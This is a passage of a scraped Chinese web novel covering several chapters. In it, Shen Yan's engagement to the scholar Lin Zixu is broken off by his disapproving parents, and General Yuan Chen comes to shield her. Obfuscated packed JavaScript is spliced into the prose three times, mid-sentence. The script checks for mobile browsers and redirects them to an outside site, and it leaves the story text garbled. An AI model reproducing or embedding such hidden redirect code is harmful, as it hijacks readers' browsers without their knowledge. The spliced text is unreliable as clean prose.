——主要多一事不如少一事，何必给自己徒增不必要的麻烦？ 谁知好巧不巧，途径后花园一曲木柞回廊时，他忽瞧见前方不远处有道玄色身影朝自己走来。 那人身上生人勿近的气场，看得林子旭额角一跳，当即收住脚步，撤身返回。 直觉告诉他，最好先避开此人。 却不料未走出多远，他竟又被元琛堵在水榭边一条小径上。 男人高大挺拔的身影不偏不倚，堪堪挡住了林子旭的去路。 显然，他就是冲他来的。 如此，林子旭只好止步，微微抬眼，对上一道森寒的目光，他不禁心头一凛，后脊生出阵阵寒意。 他自认为不曾得罪过元琛，二人唯一的交集就是沈妍。 这么一愣神的工夫，元琛又上前了两步，在林子旭身前站定，傲慢的语气透着漫不经心：“传闻林相公清正磊落，君子端方，今日一见——”他话音一顿，觑着林子旭勾了勾唇，“传闻果然不可尽信。” 林子旭：“……” 这话是在讽刺他适才的逃避和躲闪？ 可卫世子又知不知道，过于强烈的敌意反而会暴露一个人内心的弱点？ 而他之所以躲着元琛，只是不想沾惹麻烦而已，但这并不意味着他害怕对方。 相反，在这场事关沈妍的对峙中，他才是两个男人之中的优胜者。 林子旭并不迟钝，他早已察觉出沈妍对卫世子非比寻常，即使她从未宣之于口。 她对卫王府的恋恋不舍，还有，每提及卫世子时的神态、语气，林子旭都一一看在眼中。 这一刻，终于体会到什么叫妒火中烧。 他眸底忽略过一抹疯狂，纵使明知眼前人得罪不起，也分毫不想退让。 “言之有理。”迎着元琛的视线，林子旭说道，“传闻中元将军亦是冷血无情，实则却有一副仁善心肠。多谢你救了阿妍，以及这段时间对她的照顾。” 言罢，看着眼前人面色沉冷下去，他感到几分前所未有的爽快。 在他视线之外，元琛长指掐进掌心，声音冷得似能掉出冰碴：“无须多礼，本将军与阿妍的事也轮不到旁人置喙。” 旁人？谁是旁人？ 林子旭听得嘴角一抽，眼底似有火星迸溅。 身为男人，直觉告诉他：此人对阿妍有情。 那阿妍呢？ 任凭他苦等多年，她对他都没有丝毫动情，对这个面冷心狠、杀人如麻的男人却有吗？ 一股火气在林子旭心口乱窜，强行控制着心绪，他默默提醒自己，愤怒只会让人露怯。 “无论如何，终归是元将军还阿妍自由，成全了她对在下的情意。”他说“情意”二字时，刻意加重了力道。 话落，元琛锐如刀锋的眼神紧盯着他，片刻后，似想到了什么，轻嗤一声，慢条斯理：“你确定是情意？不是利益？” 那个生死关头都在和他谈生意的女人，真会对此人有什么情意？ 某个刹那，他恍然从林子旭的话中嗅出了某种装腔作势的意味。 而这恰恰就藏在那刻意被加重的“情意”二字里。 只有心虚之人才需要装腔作势。 这一洞察，让元琛觉得心情不错。 “元将军何出此言？”林子旭眼角忽地抽动了一下，“阿妍并非木雕泥塑，只是经历过一些不幸，一时难以对人打开心扉，但在下始终相信‘日久生情’四字。”一顿后，他不急不缓，“最重要的——她选择的是我。” 话音未落，他的气息陡然一凝。 面前，元琛正死死攥紧他领口，似齿缝挤出的声音沉冷如刀：“有道是‘负心多是读书人’，探花郎说这话恐怕为时尚早。” 林子旭只觉喉头越来越紧，呼吸卡住，连意识都变得越来越模糊…… 直到眼前一阵阵发黑时，颈间的力道才终于一松。 他大口喘息着，不由自主一阵呛咳，半晌方缓过来一口气，不可置信地瞪视着那道已然远去的冷峻背影。 真是个疯子！ * 点绛唇大堂内，沈妍正在给客人介绍近期新推出的一款口脂。一位衣饰体面的中年妇人带着一名仆妇走进店中。 她穿着簇新的松花绿锦缎半臂，衣领和袖口都镶着金丝滚边，鸦青襦裙上印着成团的宝相花，举手投足间精神气十足。 沈妍在苏府时曾与这妇人有过几次照面，此刻看见来人眼神一滞，只觉有种莫名熟悉感，须臾才将人认出来。 “林伯母。”她将客人交给一名伙计，客气地朝林母迎上去。 “您请这边坐。”她引着林母在店铺靠里的一张茶桌边坐下，吩咐丁香看茶。 林母先是问了沈妍几句店铺的情况，随后，她话题转得有些生硬：“阿妍，你和旭儿从小便认识，也知晓他苦读多年，高中不易。伯母相信，你必定也是盼着旭儿好的。” 沈妍点头，对林母后面的话已隐有预感。 正等着对方道明来意，林母忽然一把拉过她的手，按在掌心。 沈妍身子一僵。 她这个人性子偏冷，尤其生母沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247204|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏过世后，即便再亲近之人，她也会有意无意和人家保持距离，故而有些不适应林母突然这般亲热。 “伯母与你说句实话——”林母拍着沈妍的手背，语气推心置腹，“当初，你若未曾进入姚府，你与旭儿的婚事伯母不会反对，可如今……”她似有难言之隐，幽幽叹了口气，片刻后还是说道，“商女已非女子正道，你又出来自立门户……总之，给旭儿做正妻是不成的。” 做妾她倒不反对，否则儿子态度坚决，几番争执、试探下来，林母终究无法彻底不管林子旭的心意。 话音落下，林母不无期待地盯着沈妍，似盼望她能懂事一些，主动拿个态度出来。 谁人不知，如今探花郎的名头炙手可热，即便上好人家的女儿，心甘情愿给他做妾的也大有人在。 林母话说到这份上，自是希望沈妍能够退一步，她也有了说服儿子的底牌。 然而沈妍却未接话。 她一言不发地将自己的手抽出来，看着林母字字清晰：“我不为妾。” 林母给这话一噎，面色微沉，但很快恢复正常，深吸一口气，像压抑着什么，须臾还是温言对沈妍说道：“那你能不能看在旭儿十年寒窗，好不容易熬出头的份上，行行好，放过他？”言罢，她热切地盯着沈妍，等她有所表示。 但沈妍并无任何表示，沉默了两息，她问：“此事伯母可曾问过林兄长的意思？” 林母闻言神色闪了闪，道：“这个我自然会问，眼下便是先要你一个态度。” 那便是没问了。 这场婚约是沈妍和林子旭两人的约定，除非林子旭亲口对她讲出这番话，否则沈妍不会私底下答应旁人什么。 即便是林母也不行。 “明白。”沈妍道，“但伯母想要的，我怕是给不了。”她语气温和，却毫不退让。 “你——”林母沉下脸来，陡然加重了语气，“苏锦妍！我身为长辈，专程登门对你好言相求，已是仁至义尽，想不到你竟如此固执，不通情理！执意毁我儿前程，是何居心？” 她说这番话声音不低，引得店中顾客纷纷扭头朝这边看来。 沈妍心知此事林母如有诚意，该找她私下相谈，而不是当着这么多顾客的面吵到店里来。 她终于明白林母乃是有备而来，甚至还有胁迫之意。 从前她与林母接触不多，此时才知对方竟如此难缠。 眼看局面失控，她悄悄朝一旁的丁香递了个眼色，藏在袖间的手指不着痕迹地指指林母，示意丁香速去给林子旭送信。 若不如此，她担心自己难以妥善收场——总不好和林母闹到报官。 “伯母您先消消气，有什么话咱们楼上慢慢谈？” 沈妍不愿让自己的私事影响到客人，虽知林母言辞过分，依然能忍则忍。 林母听见这话，却腾地站起身来，厉色道：“还谈什么谈！” 沈妍越是好言安抚，她反而越拔高嗓门，环视着四周，“大伙都来评评理，看看这个声名狼藉的罪臣家姬，也不知交了什么好运，竟然未被打入教坊司，反而背地里勾引我儿，妄想嫁进我林家的门。有这种害人的妖精做掌柜，这家店能卖出什么好东西？大家都莫要上她的当！” 她这么一嚷嚷，店铺内外立刻涌来更多围观之人。 众人边议论，边朝着沈妍指指点点，很快把点绛唇围了个水泄不通。 尽管刘掌柜与伙计们尽力维持秩序，生意也还是难以为继。 21. 待嫁 沈妍见状也站起身，竭力控制着情绪问林母：“你究竟想怎样？” 林母看得出沈妍不能拿她这个长辈如何，冷哼一声，微抬下巴：“要么离我儿远点，要么就答应做妾，否则我便让人日日来你店中，好叫客人们都知晓你的真面目。”她说着向四周看了一圈，眼神威胁。 正要继续施为，忽听门口一人沉声质问：“母亲这是做什么？” 话音落地，林子旭面色难看地快步迈进店中。 周围人群闻声自发地给他让出一条通道。 林子旭进门时话是冲林母说的，目光却定定落在沈妍身上，眼神满是歉疚。 “交给我。”走到近前时，他低声道。 言罢还冲沈妍扯了扯唇角，只不过眼底神情却并不像他说得那般轻松。 林母对儿子的反应显得极为失望：“傻孩子，你居然还在护着这个妖精？”一指沈妍，她苦口婆心道，“她究竟给你灌了什么迷魂汤？让你这般执迷不悟，连前程也不顾了？” 林子旭面色愈发难看，未回答林母的话，只硬邦邦道：“母亲若再不走，儿子现下便去辞官。” “你……”林母气结，气呼呼指着儿子，“你敢！” 话音才落，林子旭二话不说，抬脚便往外走。 林母面色骤变，急冲林子旭的背影喝道：“你给我站住！” 对面没回音。 林子旭转眼不见了踪影。 林母望着空荡荡的大堂门口顿时慌了神，抬脚带着下人追出去。 一场闹剧，在众人的议论声中轰然散场。 大堂内，沈妍渐渐拧紧了眉心。 显然，事情远比她想象中复杂得多。 * 当日稍晚些时候，林子旭差人来点绛唇送信报平安。 不过沈妍没看见人，依旧有些心神不宁。 打烊时分，店外忽然传来几下叩门声。 以往林子旭下职途径这里，差不多就是这个时间。沈妍闻声赶过去开门。 门外站着的却是苏文焕。 “父亲？”沈妍愣了愣，片刻，还是偏身让苏文焕进来。 有之前在卫王府的前车之鉴，她料想父亲不敢再乱来。 苏文焕也不同她客气，点点头提步迈进店中。 丁香听见沈妍说来人竟是她的父亲，上完茶后知趣地去楼上回避。 大堂内一时仅剩父女二人。 苏文焕显然并无喝茶的心思，开门见山道：“听说子旭的母亲今日来你店中闹了一场？” “父亲的消息可真是灵通。”沈妍道，语气淡淡，带着一缕嘲讽。 苏文焕却坦然看着她：“你不必与我阴阳怪气，我今日来，是真的想帮你。” “帮我？”沈妍冷笑，“父亲究竟为何而来不妨直说吧，趁我还愿意叫你一声父亲。” 她这么说，苏文焕却并不着恼，只沉声道：“你身上流着苏家的血，不是换个姓氏就能更改的。” 父女二人先前在卫王府有过一场激烈争吵，故而沈妍的话虽刺耳，苏文焕倒也并不意外。 沈妍听见苏文焕如此说，眼底染上一抹自嘲的苦笑：“这可真是不幸。” 苏文焕冷哼：“等你被林家拒之门外，才会知道什么是真正的不幸。” 闻言，沈妍霍地站起身，惊愕地瞪着苏文焕：“我虽非正室生养，好歹也是您的女儿，父亲何苦要这般诅咒我？” 苏文焕依旧不动如山地坐着，片刻后幽幽一叹：“你以为单凭你，就能从点绛唇嫁进林家的门？” 一顿又道，“自立门户的一介商女，还曾为罪臣家姬——今日林母是不是这么说你的？” 沈妍指尖用力掐着掌心，没接他的话。 苏文焕又道：“堂堂探花郎，娶一个身份不明的女子为妻，林家会怎么想？子旭的同僚如何看他？这满上都的人又会怎么议论他？你只顾着与苏家撇清，可曾想过林家的体面？子旭的前程？” 沈妍看他说得凛然大义，不禁觉得好笑：“父亲为自己的前程，不惜将亲生女儿推进火坑，这会儿倒替旁人的前程操心起来？” 冷嗤一声，她提醒苏文焕，“说到底，这是我和林子旭的事，父亲还是省省吧。” 苏文焕：“好，那我问你，你们的婚事林家双亲极力反对，倘若林子旭执意娶你进门，必将置双亲于不顾，乃至与林家切断往来，你可曾想过他的难处？” 顿了顿，他语重心长，“子旭真心待你不假，但他毕竟是林家唯一的血脉，不能够如此任性。” 沈妍心知父亲所言并非全无道理，但嘴上仍不肯妥协：“他不是你。” 一语似揭破苏文焕痛处，他长叹一声，声音如鲠在喉：“又有谁天生愿做负心人？”言罢，他站起身，声音低缓，“苏府的大门随时为你敞开——为父言尽于此，你好自为之。” 撂下这句，他轻拂衣摆，头也不回地出了门。 室内一时只剩下沈妍独坐在茶桌边，怔然出神。 本以为想要的生活触手可及，然而现实却像一条滑凉的蛇，躲在阴暗处，冷不防对她发出嘶嘶冷嘲。 * 暮鼓时分，林子旭终于出现在点绛唇。 他风尘仆仆，嘴唇干裂，发冠也有些歪斜。 匆匆迈进店门，他径直来到沈妍跟前，声音低沉：“今日之事实在抱歉，但我保证下次不会再发生了。” “无妨。”沈妍有些担忧地打量着他，“你要不先喝杯茶？” “也好。”林子旭下意识点点头，眉眼间难掩疲惫。 一边在茶桌旁坐下，他一边还不忘叮嘱沈妍放心，林家那边都交由他处理。 他说一句，沈妍便应一声，直到林子旭终于平静下来，端起茶盏。 看见面色苍白如纸，不住大口饮茶的林子旭，沈妍脑中无端闪过一只风雨中单薄飘摇的纸鸢。 她忽然不想再就林家的事情与林子旭多谈，转移话题道：“午后我父亲来过。” 林子旭一顿，知道沈妍与苏家人不睦，他放下茶盏，警觉地望着沈妍：“所为何事？可有与你再起争执？” 沈妍摇摇头：“没有，父亲此番前来，反而与我解开了之前的一些误会。” 林子旭闻言松了口气：“如此便好。” 话音落下，两人皆是一阵沉默。 片刻后，沈妍像是下了很大决心，一咬下唇道：“我想搬回苏府住一阵子。” 她和林子旭的婚约是两人的共同决定，如今遇上麻烦，她终不能当甩手掌柜，将一切推给林子旭一人承担。 话落，林子旭先是一愕，继而想到了什么：“是不是他们又逼迫你——” “是我自己的主意。”沈妍打断他，勉强扯出一点笑意。 林子旭盯着她翘起的唇角，一阵动容，又是一阵失神，半晌点点头：“你想清楚便好。” * 回到苏府意味着离成婚又近一步，沈妍却不知为何怎么都高兴不起来。 相反，那种莫名的不安与失落感反而日益加剧。 唯一的宽慰是再次见到了她从前的女使小满。 小满是苏府的家生女，因双亲病亡时年纪尚幼，做事难免笨手笨脚，被各院主子们嫌弃，后来由姜氏指派给了沈妍。 彼时二女相处得格外亲近，后来，沈妍屋里人看这位小主子不受主母待见，纷纷寻隙各奔前程，只有小满一人始终愿意追随她。 此刻，主仆二人故人重逢，各自述说着分别后的遭遇，一时间又哭又笑。 未了小满抬手抹了把泪感叹：“都说好事多磨，主子如今终能嫁与林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266737|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相公，总算是苦尽甘来。” 沈妍垂眸笑笑，不置可否，一顿后问小满：“我去年窨下的千髓香可还在？” 听小满说“在”，沈妍便撸起袖子，直奔后院埋香坛的那棵老槐树下去了。 她挥舞着铲子将香坛起出来，扒开封条仔细察看。 此后整整一下午都在鼓捣脂膏、胭脂、香团…… 小满在旁瞧着沈妍一门心思忙活，不由蹙眉纳罕：主子这样，哪像个待嫁的娇娘？ 沈妍不晓得女子待嫁该什么样，于她，不过是备齐庚帖、香囊、五色丝等一应过礼之物。 所以，当小满问及她对这场婚事是否准备好时，沈妍不禁疑惑：“除了过礼那几样，还需要准备什么？” “你呀。”小满似有些无语，轻声道，“——主子心里准备好了没有？” 沈妍愣住，显然没想到小满会这样问。 小满：“有没有紧张或是期待之类的感觉？” 闻言，沈妍垂下眼帘，思索片刻，终是缓缓摇了摇头。 小满皱眉，一双灵动的圆眼染上疑惑：待嫁之人都这般淡定的吗？ 继而，她又发现主子不单在这件事上反应异常，其他方面也有些古里古怪。 比如，沈妍刚搬回来的前两日，清晨寅时刚过，小满在睡梦中恍惚听见旁边的闺房内有响动。 起先她还没怎么在意，后来一日又听见响动，小满忍不住起身披衣过去，却发现沈妍不见了，被褥均叠得整整齐齐。 小满吓了一跳，急忙出门去寻找。 结果看见沈妍穿戴整齐地站在门外廊道上，倚着红漆柱子，两眼盯着前方愣愣出神。 “主子怎么醒得这样早？”小满疑惑地走上前，轻声问。 她记得主子从前最怕早起。 沈妍闻声回过头冲她一笑：“睡不着。” 之前因为要伺候卫世子早朝，便养成了早起的习惯。 后来虽被免除这份差事，但寅时醒来的习惯仍未更改过来。 此刻倚着廊柱，沈妍又一次想起了卫世子。 不知道他这个时辰在做什么？ 是否恢复成由长庚打点一切？还是又找了一名新女使？ 大约早已将她忘记了吧？ * 卫王府，迎晖阁。 元琛洗漱完毕，长庚伺候他穿戴朝服。 这些琐事本是沈妍进入王府前的日常，最近元琛却总觉得哪里别别扭扭。 不是顺序错乱，就是冠歪领斜，连蹀躞带扣仿佛也同他和长庚作对，时常不听使唤。 更要命的是，耳畔还不时回响起沈妍有一搭没一搭的声音。 “劳烦世子，抬下胳膊。” “等等，发冠不正。” “世子慢用。” “仔细烫着。” …… 好不容易一应收拾妥当，长庚终于松了口气，出去备车。 元琛双眸微合，有些疲惫地抬手掐了掐眉心。 片刻后，意识到哪里不对，他蓦地睁开眼。 ——是施架摆错了位置。 他极为看不过眼地皱了皱眉，提步走过去，亲自动手将其归位。 事后又盯着默默出了一会儿神，直到长庚进来唤他：“世子，该出门了。” 元琛“嗯”了声，不动声色地踱出门去。 长庚亦步亦趋跟在他身后。临出门，像是害怕落下什么东西，他出于习惯扭头向室内望了一眼。 ——算上刚刚归位的施架，迎晖阁内一切均已恢复成沈娘子在时的模样。 转过头来，长庚瞧着世子的背影无声叹了口气。 王府大门外，元琛蹬车前脚步一顿，下意识地回头看向门口。 门廊下空无一人，他心里也空荡荡一片。 22. 悔婚 以往站在风灯下送他的人，此刻不知在做什么？ 睡梦里满怀期待地等着嫁人吗？ 元琛嘴角勾起一抹自嘲。 一阵轻风拂动衣摆。这个时节，早起的风已然不冷，但吹过面颊、颈侧时，还是有几分凉意。 “世子是不是忘了什么东西？”长庚不解地望着他。 元琛回过神，摇摇头登上马车。 他并没有忘记什么东西。 只是快忘了那个人在时的感觉。 * 晌午过后，苏府外面通传，林相公遣人给大娘子送了份礼物过来。 礼物是一方精美的食盒。小满喜滋滋拎到绛雪轩，献宝似的放在茶桌上沈妍跟前：“林相公特地差人送过来，据说是白家楼的手艺。” 沈妍叫她打开，里面是红、白、青、黄四样点心，由精粉与乳酪捏成梅、兰、竹菊的形状。 细致的做工，混和着花果与乳香的气息，让她想起那日元琛不知哪根筋不对，忽然邀她去白家楼，还点了一桌菜肴，其中就有这道“四君子”。 她却因为吃惊太过，整顿饭食不知味。 后来元琛一通好说歹说，她总算打消疑虑，放心地品尝起这道酥酪。 正自神游，忽听小满声音含笑提醒她：“主子，快尝尝甜不甜？” 沈妍闻言扯了扯嘴角，却将食盒推给小满：“我从前都尝过，现下没什么胃口，你吃吧。” 小满讷讷“哦”了声，边吃边悄悄打量着心不在焉的主子，渐渐陷入沉思。 她总觉得主子这次回来好像换了个人，变得成熟、沉稳了许多，只不过看起来了无生气。 一个待嫁闺中之人，从不主动提及自己的婚事，着实有些反常。 而且她已经许久没见主子笑过了。 仔细想来，主子回府后，小满唯一一次看见她由心笑出来，还是在挖出千髓香那一刻。 仿佛那才是世间最令她开心之事。 这么想着，小满眉眼间不知不觉染上了一层忧色。 * 此刻，与苏府相隔一条街的深巷中，一辆藏青色车轿停在路边。 轿内，男人骨节分明的长指挑开轿帘，不声不响地对着苏府方向默默发了会儿呆。 良久，他放下轿帘道：“走吧。” 车辕上，长庚依言挥动马鞭，不言不语地瞪着前方，他眉头皱得死紧。 ——既然心中不舍，为何还要拱手让人？ * 林家祠堂，林子旭和父亲给祖宗上完香后，林父突然黑着脸斥道：“跪下！” 对于林子旭这位嫡长子，林父对他期望甚高，从小便教导他好好读书，将来出人头地。 而林子旭也自幼孝顺懂事，一路遵从父母预设的轨迹。 ——除了在沈妍这件事上。 祠堂内，林父话音落地，林子旭一撩衣摆，依言下跪。 与此同时，门口闯进四名年轻力壮的家丁。 “想不到你竟然背着我和你母亲，偷偷写好了婚书。”林父痛心疾首，指着儿子质问，“从小到大，我是怎么教你的？竟让你做出如此大逆不道之事！”说着，他从衣襟内掏出一枚红色印花信封。 林子旭看见父亲手中的信封，面色一僵——他写的婚书何时到了父亲手上？ 正疑惑间，林父将信封递给身旁一名家丁，沉声道：“烧了。” 林子旭听得瞳孔一缩，急忙上前阻拦。 两名家丁冲上来，扭着胳膊将他按住。 下一瞬，林父一声令下，命身旁的家丁将婚书点燃。 看着自己写就婚书一点点化作灰烬，林子旭奋力挣扎：“住手！放开我——” 但还是被死死按在地上。 林父从祭台上拿起林氏家谱，重重砸向林子旭，在他额角磕出鲜血。 “我生你养你，供你读书，好不容易盼得金榜题名，你却要自毁前程。”林父面色凝重，声音沉肃，“林子旭，你如何对得起祖宗？对得起我和你母亲？对得起这个家？” 前方，林子旭已经放弃挣扎，精疲力竭跪在地上，红着眼睛声音嘶哑：“儿子没有自毁前程，只是想娶一个心仪的女人。” 林父气得翘起半白的山羊胡，伸手颤抖地指着苏府方向，恨铁不成钢道：“那个女人不过是一介商女，罪臣家姬！且不说娶回来有辱林家门楣，光是她那名声，便足以毁了你！” “我大庆上品无寒门，你以为中了探花，日后便万事大吉了？你睁开眼看看你的父亲，数十年在衙门里兢兢业业，到头来却也只是个杂役。你道只是因为父亲没本事吗？还有那苏文焕，也曾是进士出身，可没有根基，熬到如今，不也只是个从六品？” “旭儿，为父不会害你，你听我一句，去见一见卢尚书的嫡女——趁着人家还对你有意。” 林子旭听见最后一句，无奈地合上眼。 林父面沉如水地看着他，冷哼一声道：“好，看来我与你是讲不通道理了？” 一顿，他低喝道，“旺儿！” 一名家丁应声上前，向林父叉手。 林父：“我已找人查验过，点绛唇售卖的口脂内含有紫胶，那是暹罗国的贡品。区区一介商女，如何能获得？所售货品来路不明，逾规犯禁，单是这一项，便足够判她个重罪。” 说着，他从袖中掏出一叠布满字迹的纸张，递给旺儿，“这是我拟好的状子，你现下便去交给京兆府廖主簿。” 一顿，他声色阴沉，“我要告点绛唇售卖禁物。” 话落，林子旭面色巨变，挣扎着大喊：“父亲不可！” 林父却不理会，冲旺儿略一偏头。 旺儿是林父的心腹，只对他一人惟命是从，得令毫不犹豫地接过状纸，向祠堂外走去。 任凭林子旭歇斯底里嘶吼着命他站住，旺儿始终置若罔闻。 良久，祠堂内响起林子旭嘶哑无力的声音：“我答应父亲便是……求您让旺儿回来……” 林父闻言一声叹息，终是命人去追旺儿，又对林子旭道：“我劝你莫要阳奉阴违，再做出有违孝道之事，否则我便去问问那个女人，是要继续开店，还是进京兆府大牢？至于我林家的门，她想都不要想！” 林子旭无言，通红的眼底一片死气。 虽不知紫胶之事是否属实，但父亲在衙门干了一辈子，知晓开店之人最怕什么，若真想针对沈妍，她日后恐怕难以安生。 而林子旭心知，安稳生活正是当初他说服沈妍同意这场婚事的倚仗。 可如今……林子旭扪心自问，沈妍想要的安稳，他真能给得了吗？ 看儿子终于松口不再多言，林父叹了口气，带着心腹离去。 祠堂内，只留下林子旭一人跪在祖宗牌位前“反省”。 不知过了多久，他似从麻木中醒过神，两眼空洞麻木，眼角却现出诡异的笑纹。 阿妍，我终于还是成了自己最讨厌的人。 * 自从那日林子旭向苏府送点心后，一连十数日，沈妍彻底没了他的消息。 眼看到了约定好冰人上门的日子，一整日，林家那头却没有任何动静。 小满急得快掀房盖，嚷嚷着非要去找林子旭问个究竟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303158|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈妍却道：“不急。”她低头摆弄着几案上的几味香料，“该来的总会来。” 果然，日影西斜，苏文焕回到苏府，带来一则消息。 “林家什么意思！”他愤然摔碎了茶盏，“林子旭个小畜生，背地里竟然与卢氏女下了定，简直欺人太甚！” 厅堂内，苏府上下听见这个消息一下子炸了锅：震惊的，疑惑的，愤怒的，咒骂的，假装替沈妍叫屈的……吵吵嚷嚷，几乎要掀起房盖。 姜氏更是拍案而起，气咻咻让苏文焕去找林家理论。 只有沈妍的反应异常平静，起身表示自己已知晓此事后，一言不发地带同小满离开了厅堂。 路上，小满有些担心地望着沈妍：“主子，您没事吧？此事真的就这么算了？” 大概是受卫世子影响，沈妍开口语气淡淡：“不然呢？我应该大哭一场？还是寻死觅活？” 小满闻言，错愕地望着沈妍，表情像在看一个陌生人。 其实，这几日沈妍已经隐约猜到了这个结果。 归根结底，林子旭需要在个人情感与家族利益间做出取舍。 而她，只不过刚好是被舍弃的那个。 林子旭悔婚，照理说她本该结结实实伤心一场。 可奇怪的是，她居然丝毫没有想象中的感觉。 相反，像是给自己一个交代，得知林子旭悔婚的消息，她内心某处甚至松了一口气。 她努力过了，果然还是不行。 不过幸好，那个违背约定的人不是她。 * 每月十五是苏府家祭日，依照惯例，苏家人会齐聚一堂，提早吃完暮食，之后同去祠堂上香祭拜。 这日午后，申时小了点小雨，中间一度放晴。 沈妍看了眼天色，心想过会儿保不齐还要下雨，于是趁着雨停的间歇，带着小满前往姜氏居住的桂芳苑。 以往这个时辰，苏家人均已到得七七八八，今日却不知怎么，正堂内仅有姜氏和桂嬷嬷。 沈妍进门后，照例给姜氏请安后坐在下首。 结果她才坐下，苏锦荣后脚便带着侍女赶来。 苏锦荣进门时脸色不太好，看见沈妍更似忍无可忍，拔高嗓门道：“阿姐还有心思在这里吃饭？你知不知道外面人都在怎么说你？” 按照约定，今日本该是林家上门提亲的日子。 结果林家非但没有人来，甚至连个音信都没有。 这摆明了是要悔婚。 沈妍午前没等到冰人已经心知肚明。 世人皆知男方悔婚对一个女子意味着什么。 此刻，苏锦荣说得如此直白露骨，连姜氏听了也不禁皱眉：“荣儿，住嘴。” 也只是住嘴而已，她并未指出女儿的言行有任何不妥。 苏锦荣却哪里住得了嘴，她气急败坏地冲姜氏抱怨：“当初女儿就不同意接她回来，眼下可好，林子旭悔婚，外面都在议论我们苏家，说一个声名狼藉的罪臣家姬，居然高攀探花郎，那是痴心妄想！” “母亲瞧瞧，我说什么来着？”她抬手指着沈妍，“苏家的脸都让她丢尽了——自己沦为全城笑柄不说，还要连累旁人。” 说着，她气急败坏地质问姜氏，“有她这种庶姐在府中，母亲叫女儿日后如何见人？” 母女二人计划失败，偷鸡不成蚀把米。 苏锦荣情急之下，一口气全撒在沈妍身上，丝毫没考虑刚遭悔婚之人的处境与心情。 小满听她如此说，气得浑身打颤，心想这世道真不公平，明明是男方无故悔婚，为何遭受非议、责难的却是自家主子？ 23. 护她 还有，二娘子这心肠也真是歹毒，口口声声专门往人家伤口上撒盐，也不想想，万一主子一时想不开，有个三长两短如何是好？ 念及此，她忍不住上前理论：“二娘子说话要留口德，当初可不是大娘子要搬进苏府，难道不是府里几次三番定要接她回来？” 苏锦荣闻言，本就愤懑的眸中闪过一抹阴厉，指着小满：“你算什么东西？是觉得如今有人给你撑腰了？”说着，她偏头看了眼身后的女使，“去，给我掌嘴！” 不等女使上前，沈妍站起身将小满拉到身后，对苏锦荣道：“你放心，我明日便搬离苏府，往后自立门户，绝不会带累你的名声。” 对于苏锦荣的反应，沈妍并不觉得意外。 要怪只怪她当初把这场婚事想得过于简单。 她话音落地，苏锦荣果然怒气稍减，冲沈妍冷哼一声，道：“你最好说到做到，待会儿父亲来，可别又改口赖着不走。” 苏家二女争执期间，姜氏一直坐在圈椅上冷眼旁观。 她当然知晓苏锦荣言行有失，但又觉得女儿所言也没什么错——这个庶女如今确实没了利用价值。 原本这一整日，姜氏都在为之前的失算心烦，此刻听说沈妍打算搬离苏府，她倒也跟着心口一松。 此时外头苏文焕的小厮石砚匆匆赶来，立在门外叉手：“大娘子可在？” 沈妍应声，趁机拉着小满从正堂出来。 石砚见了她说道：“凌州兵马使元将军来府上拜访，老爷命大娘子速去前院。” 话音落下，满屋子人全都愣住。 沈妍也听得一脸懵。 ——卫世子？他来这做什么？ * 沈妍离开后，姜氏和苏锦荣母女面面相觑，均是一脸不明所以。 故而，沈妍前脚才出门，她们后脚也跟着追至前院。 苏锦荣赶来时，打眼望见一个身姿修长挺拔的男子站在院中。 此人穿一袭玄色刺金圆领袍，银冠束发，宽肩窄腰，长身玉立的样子真个宛如天降神祗。 苏锦荣朝来人打量时，那人也刚好转过身来，清隽、冷白的玉颜好看得仿佛不染人间烟火。 苏锦荣瞅得两眼发直，心尖突突乱跳。 原来这就是名动京城的北境王世子……怪不得那么多高门贵女为他朝思暮想……果然名不虚传。 本来，以苏锦荣的身份，根本无缘得卫世子金面，怎料他乍然现身，还出现在自家府邸。 这莫不就是传说中的天赐良缘？ 苏锦荣一时又惊又喜又意外，直勾勾望着元琛，连之前对沈妍的怨气都忘到了九霄云外。 腼腆地抿了抿唇，她轻移莲步，打算上前请安。 怎料才迈开腿，卫世子似察觉到什么，一个冷冽肃杀的眼神扫来，苏锦荣登时后脊生寒，钉在原地般不敢动弹。 继而，她这才注意到，卫世子身后还站着两名身挎腰刀的黑衣武士，虽都面无表情，但打眼一看，都不是什么善茬。 苏锦荣心下一凛，暗忖该不是那个私生女先前在外惹了什么祸端，卫世子带着人找上门算账吧？ 下一瞬，像在回答她的疑问，先她一步进入院中的沈妍迟疑地对元琛开了口：“世子怎么来了？” 元琛视线在她身上一触即移开，声色无波道：“你回家省亲的日子也不短了，本世子今日碰巧经过，便想着顺道接你回府。” 这是一句毋庸置疑的谎言。 沈妍听完，却立刻明白了元琛的用意。 ——他这是在有意护她。 莫非连卫世子也听说了她被悔婚的消息？ 